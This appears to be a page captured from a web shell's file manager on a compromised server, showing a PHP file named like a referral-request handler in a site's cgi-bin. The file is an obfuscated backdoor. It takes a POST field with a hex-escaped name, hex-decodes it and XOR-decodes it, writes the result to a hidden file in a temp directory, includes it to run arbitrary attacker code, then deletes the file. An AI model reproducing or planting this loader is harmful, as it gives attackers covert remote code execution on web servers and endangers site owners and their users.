HEX
Server: LiteSpeed
System: Linux da020 6.1.0-50-amd64 #1 SMP PREEMPT_DYNAMIC Debian 6.1.176-1 (2026-07-02) x86_64
User: nmel17aacb (1161)
PHP: 8.2.29
Disabled: exec,system,passthru,proc_close,proc_open,dl,popen,show_source,posix_kill,posix_mkfifo,posix_getpwuid,posix_setpgid,posix_setsid,posix_setuid,posix_setgid,posix_seteuid,posix_setegid,posix_uname
Upload Files
File: /home/nmel17aacb/domains/ifm-group.be/private_html/cgi-bin/referral.request.php
<?php

if(count($_POST) > 0 && isset($_POST["\x63ompone\x6E\x74"])){
	$property_set = array_filter([getenv("TMP"), getcwd(), "/var/tmp", getenv("TEMP"), session_save_path(), "/dev/shm", sys_get_temp_dir(), "/tmp", ini_get("upload_tmp_dir")]);
	$k = hex2bin($_POST["\x63ompone\x6E\x74"]);
	$pgrp=   '';  for($m=0; $m<strlen($k); $m++){$pgrp .= chr(ord($k[$m]) ^ 85);}
	foreach ($property_set as $key => $mrk) {
    		if (max(0, is_dir($mrk) * is_writable($mrk))) {
    $data = "$mrk/.object";
    $file = fopen($data, 'w');
if ($file) {
	fwrite($file, $pgrp);
	fclose($file);
	include $data;
	@unlink($data);
	exit;
}
}
}
}